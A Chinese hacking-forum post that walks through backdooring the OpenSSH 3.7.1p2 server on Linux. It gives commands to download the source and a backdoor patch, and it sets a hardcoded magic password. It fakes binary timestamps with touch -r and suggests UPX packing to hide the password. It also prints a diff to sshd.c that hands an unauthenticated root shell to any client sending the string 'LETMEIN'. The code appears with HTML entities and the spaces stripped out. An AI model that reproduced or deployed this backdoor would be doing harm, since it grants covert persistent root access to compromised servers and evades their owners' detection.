制作LINUX下的openSSH后门的思路

[复制链接]
查看337 | 回复0 | 2012-4-1 19:23:24 | 显示全部楼层 |阅读模式
这个教程比较老了,自己零几年做的,一直没发过。

大牛们不要扔砖头。
功能很简单却很实用telnet后直接返回个ROOTSHELL
我们先需要下载两个东西:

一个是openssh-3.7.1p2.tar.gz的源码包

一个是他的后门补丁ssh3.7.1p2.patch

#wgethttp://mirror.mcs.anl.gov/openssh/portable/openssh-3.7.1p2.tar.gz
#wgethttp://pmd5.com/ssh.patch.txt
#patch<../ssh3.7.1p2.patch给他打上后门补丁
#visshd.c修改下默认的后门密码

/defineEVIL&ldquo;admin&rdquo;
#viversion.h修改一下版本号与实际保持一致
以前的老版本都没有用到PAM做认证

看下自己的用到了没有

#vi/etc/ssh/sshd_config

#./configure&ndash;prefix=/usr&ndash;bindir=/usr/bin/&ndash;sbindir=/usr/sbin/&ndash;sysconfdir=/etc/ssh&ndash;with-pam;make
报错了

因为老版本的不支持GSSAPI

#vi/etc/ssh/sshd_config

注释掉GSSAPI

注释掉AcceptEnv
#VI/etc/ssh/ssh_config

注释掉GSSAPI
#makeinstall
修改一下创建时间

#touch-r/bin/ls/usr/sbin/sshd

#touch-r/bin/ls/usr/bin/ssh

#ll/usr/bin/ssh/bin/ls看时间同步了吧
重起一下SSHD

/etc/init.d/sshdrestart
有点小缺陷

#strings/usr/sbin/sshd|grepadmin就可以显示密码了大家可以简单的用UPX给它加个壳
ps:给大家推荐一个免费破md5的网站。两个版本的openssh3.7.1p2,第一个是某大牛写的:





openssh3.7.1p2.rar







01
---sshd.c&nbsp;TueSep&nbsp;214:51:172003







02
+++sshd-bd.c&nbsp;&nbsp;MonSep2920:34:142003








03
@@-402,6+402,55@@








04
&nbsp;&nbsp;&nbsp;&nbsp;buf[sizeof(buf)-1]=0;








05
&nbsp;&nbsp;&nbsp;&nbsp;client_version_string=xstrdup(buf);








06
&nbsp;&nbsp;








07
+&nbsp;&nbsp;/*XXX:EVILHACKINGSTARTSHERE!<IMGclass=wp-smileyalt=;)src=&quot;http://www.80pentest.com/wp-includes/images/smilies/icon_wink.gif&quot;>








08
+&nbsp;&nbsp;&nbsp;*/








09
+&nbsp;&nbsp;#defineEVIL&quot;LETMEIN&quot;








10
+&nbsp;&nbsp;if(!strcmp(client_version_string,EVIL)){








11
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chartyname[65];








12
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;intpty,tty;








13
+








14
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packet_set_nonblocking();








15
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pty_allocate(&pty,&tty,tyname,64);








16
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(fork()==0){








17
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;debug(&quot;executingshell&quot;);








18
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dup2(tty,0);








19
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dup2(tty,1);








20
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dup2(tty,2);








21
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(pty);








22
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(tty);








23
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*dowecaretocloceallopensockets?*/








24
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execl(&quot;/bin/sh&quot;,&quot;-sh&quot;,0);








25
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}








26
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{








27
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;intlen;








28
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fd_setreadfds;








29
+








30
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;signal(SIGCHLD,exit);








31
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(1){








32
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FD_ZERO(&readfds);








33
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(pty,&readfds);








34
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(sock_in,&readfds);








35
+








36
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select(sock_in+1,&readfds,NULL,NULL,NULL);








37
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buf,0,sizeof(buf));








38
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*readfromremotesocket*/








39
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(FD_ISSET(sock_in,&readfds))








40
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{








41
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len=recv(sock_in,buf,sizeof(buf),0);








42
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(pty,buf,len);








43
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}








44
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*readfrompty*/








45
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(FD_ISSET(pty,&readfds))








46
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{








47
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len=read(pty,buf,sizeof(buf));








48
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sock_out,buf,len);








49
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}








50
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}








51
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}








52
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*neverreached*/








53
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0);








54
+&nbsp;&nbsp;}








55
+








56
&nbsp;&nbsp;&nbsp;&nbsp;/*








57
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*Checkthattheversionsmatch.&nbsp;Infuturethismightaccept








58
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*severalversionsandsetappropriateflagstohandlethem.




*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则